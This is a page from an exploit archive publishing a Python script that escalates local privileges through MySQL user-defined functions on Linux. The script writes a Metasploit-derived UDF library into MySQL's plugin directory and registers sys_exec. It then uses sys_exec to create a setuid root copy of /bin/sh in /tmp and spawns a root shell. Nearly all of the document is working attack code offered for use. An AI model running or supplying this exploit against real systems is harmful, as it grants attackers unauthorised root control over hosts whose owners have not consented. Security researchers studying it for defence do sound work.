MySQL User-Defined (Linux) x32 / x86_64 sys_exec Local Privilege Escalation

2019.01.25
Credit: D7X
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

# Exploit Title: MySQL User-Defined (Linux) x32 / x86_64 sys_exec function local privilege escalation exploit # Date: 24/01/2019 # Exploit Author: d7x # Vendor Homepage: https://www.mysql.com # Software Link: www.mysql.com # Version: MySQL 4.x/5.x # Tested on: Debian GNU/Linux 8.11 / mysql Ver 14.14 Distrib 5.5.60, for debian-linux-gnu (x86_64) using readline 6.3 # CVE : N/A ''' *** MySQL User-Defined (Linux) x32 / x86_64 sys_exec function local privilege escalation exploit *** UDF lib shellcodes retrieved from metasploit (there are windows .dll libraries within metasploit as well so this could be easily ported to Windows) Based on the famous raptor_udf.c by Marco Ivaldi (EDB ID: 1518) CVE: N/A References: https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html https://www.exploit-db.com/exploits/1518 https://www.exploit-db.com/papers/44139/ - MySQL UDF Exploitation by Osanda Malith Jayathissa (@OsandaMalith) Tested on 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux @d7x_real https://d7x.promiselabs.net https://www.promiselabs.net ''' import sys import subprocess import platform, random import argparse import os import re import pty shellcode_x32 = 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shellcode = shellcode_x32 if (platform.architecture()[0] == '64bit'): shellcode = shellcode_x64 # MySQL username and password: make sure you have FILE privileges and mysql is actually running as root # username='root' # password='' ### #if len(sys.argv) != 2: # print "Usage: %s <username> <password>" % argv[0] #username=sys.argv[1]; #password=sys.argv[2]; ### parser = argparse.ArgumentParser() parser.add_argument('--username', '-u', help='MySQL username', type=str, required=True) parser.add_argument('--password', '-p', help='MySQL password', type=str) args = parser.parse_args() username=args.username password=args.password if not password: password='' cmd='mysql -u root -p\'' + password + '\' -e "select @@plugin_dir \G"' plugin_str = subprocess.check_output(cmd, shell=True) plugin_dir = re.search('@plugin_dir: (\S*)', plugin_str) res = bool(plugin_dir) if not res: print "Error: could not locate the plugin directory" os.exit(1); plugin_dir_ = plugin_dir.group(1) print "Plugin dir is %s" % plugin_dir_ # file to save the udf so file to udf_filename = 'udf' + str(random.randint(1000,10000)) + '.so' udf_outfile = plugin_dir_ + udf_filename # alternative way: # set @outputpath := @@plugin_dir; set @outputpath := @@plugin_dir; print "Trying to create a udf library..."; os.system('mysql -u root -p\'' + password + '\' -e "select binary 0x' + shellcode + ' into dumpfile \'%s\' \G"' % udf_outfile) res = os.path.isfile(udf_outfile) if not res: print "Error: could not create udf file in %s (mysql is either not running as root or may be file exists?)" % udf_outfile os.exit(1); print "UDF library crated successfully: %s" % udf_outfile; print "Trying to create sys_exec..." os.system('mysql -u root -p\'' + password + '\' -e "create function sys_exec returns int soname \'%s\'\G"' % udf_filename) print "Checking if sys_exec was crated..." cmd='mysql -u root -p\'' + password + '\' -e "select * from mysql.func where name=\'sys_exec\' \G"'; res = subprocess.check_output(cmd, shell=True); if (res == ''): print "sys_exec was not found (good luck next time!)" if res: print "sys_exec was found: %s" % res print "Generating a suid binary in /tmp/sh..." os.system('mysql -u root -p\'' + password + '\' -e "select sys_exec(\'cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh\')"') print "Trying to spawn a root shell..." pty.spawn("/tmp/sh");


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